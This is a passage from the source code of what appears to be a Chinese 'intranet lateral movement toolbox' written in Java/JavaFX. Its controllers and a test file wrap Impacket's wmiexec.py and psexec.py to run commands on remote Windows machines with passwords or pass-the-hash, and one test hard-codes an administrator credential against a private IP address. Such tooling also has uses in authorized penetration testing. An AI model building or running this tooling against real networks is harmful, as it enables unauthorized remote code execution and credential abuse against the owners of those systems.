9 | import java.util.ArrayList;
10 |
11 | public class CiphermodeController {
12 |
13 | public CiphermodeController( TextArea w_m_area, TextField w_m_cmd, TextField w_m_ip, TextField w_m_pass, TextField w_m_user) {
14 | String ip = w_m_ip.getText();
15 | String user = w_m_user.getText();
16 | String pass = w_m_pass.getText();
17 | String cmd = w_m_cmd.getText();
18 |
19 | try {
20 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/wmiexec.py";
21 | ArrayList command = new ArrayList<>();
22 | command.add("python3");
23 | command.add(pluginPath);
24 | command.add(user + ":" + pass + "@" + ip);
25 | command.add(cmd);
26 | ProcessBuilder processBuilder = new ProcessBuilder(command);
27 | processBuilder.redirectErrorStream(true);
28 | Process process = processBuilder.start();
29 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
30 | String line;
31 | while ((line = reader.readLine()) != null) {
32 | w_m_area.appendText(line + "\n");
33 | }
34 | reader.close();
35 | process.waitFor();
36 | } catch (Exception e) {
37 | e.printStackTrace();
38 | }
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/wmiexec/HashmodeController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.wmiexec;
2 |
3 | import javafx.scene.control.TextArea;
4 | import javafx.scene.control.TextField;
5 |
6 | import java.io.BufferedReader;
7 | import java.io.InputStreamReader;
8 | import java.util.ArrayList;
9 |
10 | public class HashmodeController {
11 | public HashmodeController(TextArea w_h_area, TextField w_h_cmd, TextField w_h_ip, TextField w_h_hash, TextField w_h_user) {
12 | String ip = w_h_ip.getText();
13 | String user = w_h_user.getText();
14 | String hash = w_h_hash.getText();
15 | String cmd = w_h_cmd.getText();
16 | try {
17 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/wmiexec.py";
18 | ArrayList command = new ArrayList<>();
19 | command.add("python3");
20 | command.add(pluginPath);
21 | command.add("-hashes");
22 | command.add("00000000000000000000000000000000:" + hash);
23 | command.add(user + "@" + ip);
24 | command.add(cmd);
25 | ProcessBuilder processBuilder = new ProcessBuilder(command);
26 | processBuilder.redirectErrorStream(true);
27 | Process process = processBuilder.start();
28 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
29 | String line;
30 | while ((line = reader.readLine()) != null) {
31 | w_h_area.appendText(line + "\n");
32 | }
33 | reader.close();
34 | process.waitFor();
35 | } catch (Exception e) {
36 | e.printStackTrace();
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/sample/Main.java:
--------------------------------------------------------------------------------
1 | package com.ajie.sample;
2 |
3 | import javafx.application.Application;
4 | import javafx.fxml.FXMLLoader;
5 | import javafx.scene.Parent;
6 | import javafx.scene.Scene;
7 | import javafx.scene.control.ChoiceBox;
8 | import javafx.stage.Stage;
9 |
10 | public class Main extends Application {
11 |
12 |
13 | @Override
14 | public void start(Stage primaryStage) throws Exception{
15 | Parent root = FXMLLoader.load(getClass().getResource("/main_fxml/sample.fxml"));
16 | primaryStage.setTitle("内⽹横向移动⼯具箱 v1.0 by private null");
17 | primaryStage.setScene(new Scene(root, 738, 431));
18 | primaryStage.show();
19 | }
20 |
21 |
22 | public static void main(String[] args) {
23 | launch(args);
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/src/main/resources/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: com.ajie.sample.Main
3 |
4 |
--------------------------------------------------------------------------------
/src/test/java/CommandLineInteractive.java:
--------------------------------------------------------------------------------
1 | import java.io.BufferedReader;
2 | import java.io.IOException;
3 | import java.io.InputStreamReader;
4 | import java.io.OutputStream;
5 | import java.util.ArrayList;
6 | import java.util.Scanner;
7 | import java.util.regex.Matcher;
8 | import java.util.regex.Pattern;
9 |
10 | public class CommandLineInteractive {
11 |
12 | public CommandLineInteractive() {
13 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/psexec.py";
14 | ArrayList cmd = new ArrayList<>();
15 | cmd.add("python3");
16 | cmd.add(pluginPath);
17 | cmd.add("administrator:1qaz@WSX@172.16.183.172");
18 |
19 | try {
20 | Process process = new ProcessBuilder(cmd)
21 | .redirectErrorStream(true)
22 | .start();
23 |
24 | // 获取进程的输入流和输出流
25 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
26 | OutputStream outputStream = process.getOutputStream();
27 |
28 | // 创建一个新的线程来读取进程的输出并打印到控制台
29 | Thread outputThread = new Thread(() -> {
30 | String line;
31 | try {
32 | while ((line = reader.readLine()) != null) {
33 | if (!line.startsWith(">")) {
34 | // 使用正则表达式匹配并替换 "C:\\Windows\\system32>"
35 | String replacedLine = replacePrompt(line);
36 | System.out.println(replacedLine);
37 | }
38 | }
39 | } catch (IOException e) {
40 | e.printStackTrace();
41 | }
42 | });
43 | outputThread.start();
44 |
45 | // 创建一个Scanner对象用于读取用户输入的命令
46 | Scanner scanner = new Scanner(System.in);
47 |
48 | // 通过输出流向进程发送命令
49 | String command;
50 | while (true) {
51 | command = scanner.nextLine();
52 | if (command.equals("exit")) {
53 | break;
54 | }
55 | command += System.lineSeparator();
56 | outputStream.write(command.getBytes());
57 | outputStream.flush();
58 | System.out.print("C:\\Windows\\system32> " + command); // 显示命令提示符
59 | }
60 |
61 | // 等待命令行操作完成
62 | int exitCode = process.waitFor();
63 | System.out.println("Exit code: " + exitCode);
64 |
65 | // 关闭输入输出流
66 | outputStream.close();
67 | reader.close();
68 |
69 | } catch (IOException e) {
70 | e.printStackTrace();
71 | } catch (InterruptedException e) {
72 | e.printStackTrace();
73 | }
74 | }
75 |
76 | private static String replacePrompt(String line) {
77 | String pattern = "^C:\\\\Windows\\\\system32>";
78 | Pattern regex = Pattern.compile(pattern);
79 | Matcher matcher = regex.matcher(line);
80 | return matcher.replaceFirst("");
81 | }
82 | }
83 |
84 |
85 |
--------------------------------------------------------------------------------
/src/test/java/SmbTest.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/test/java/SmbTest.java
--------------------------------------------------------------------------------